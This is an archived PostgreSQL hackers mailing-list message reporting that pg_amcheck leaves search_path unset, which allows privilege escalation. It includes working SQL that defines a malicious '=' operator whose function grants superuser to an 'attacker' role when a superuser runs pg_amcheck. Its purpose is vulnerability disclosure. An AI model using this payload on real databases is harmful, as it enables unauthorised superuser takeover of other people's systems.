public inbox for [email protected]  

help / color / mirror / Atom feed

From: Pavel Borisov <[email protected]>
To: Postgres hackers <[email protected]>
Subject: Permission elevation by pg_amcheck operator overloading via search_path possible?
Date: Fri, 22 May 2026 16:39:33 +0400
Message-ID: <CALT9ZEGFBCzNJbWAt_GNowUwmswXLShB2q6DjcS5pZ56qKMWaQ@mail.gmail.com> (raw)

Hi, hackers!

As I see pg_amcheck doesn't set search_path.

It runs SQL queries like:
SELECT n.nspname, x.extversion FROM pg_catalog.pg_extension x JOIN
pg_catalog.pg_namespace n ON x.extnamespace = n.oid WHERE x.extname =
'amcheck'

Let's suppose search_path for database is set:
 search_path = 'myschema, pg_catalog'
Then
CREATE FUNCTION myschema.evil(name, name) RETURNS bool AS $$
    ALTER USER attacker WITH SUPERUSER;
    SELECT $1 OPERATOR(pg_catalog.=) $2;
  $$ LANGUAGE sql;
  CREATE OPERATOR myschema.= (LEFTARG = name, RIGHTARG = name,
PROCEDURE = myschema.evil);
Then run pg_amcheck as superuser.

So the user attacker can become SUPERUSER.

Is this scenario worth fixing?

Regards,
Pavel Borisov
Supabase

reply

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Reply to all the recipients using the --to and --cc options:
  reply via email

  To: [email protected]
  Cc: [email protected], [email protected]
  Subject: Re: Permission elevation by pg_amcheck operator overloading via search_path possible?
  In-Reply-To: <CALT9ZEGFBCzNJbWAt_GNowUwmswXLShB2q6DjcS5pZ56qKMWaQ@mail.gmail.com>

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox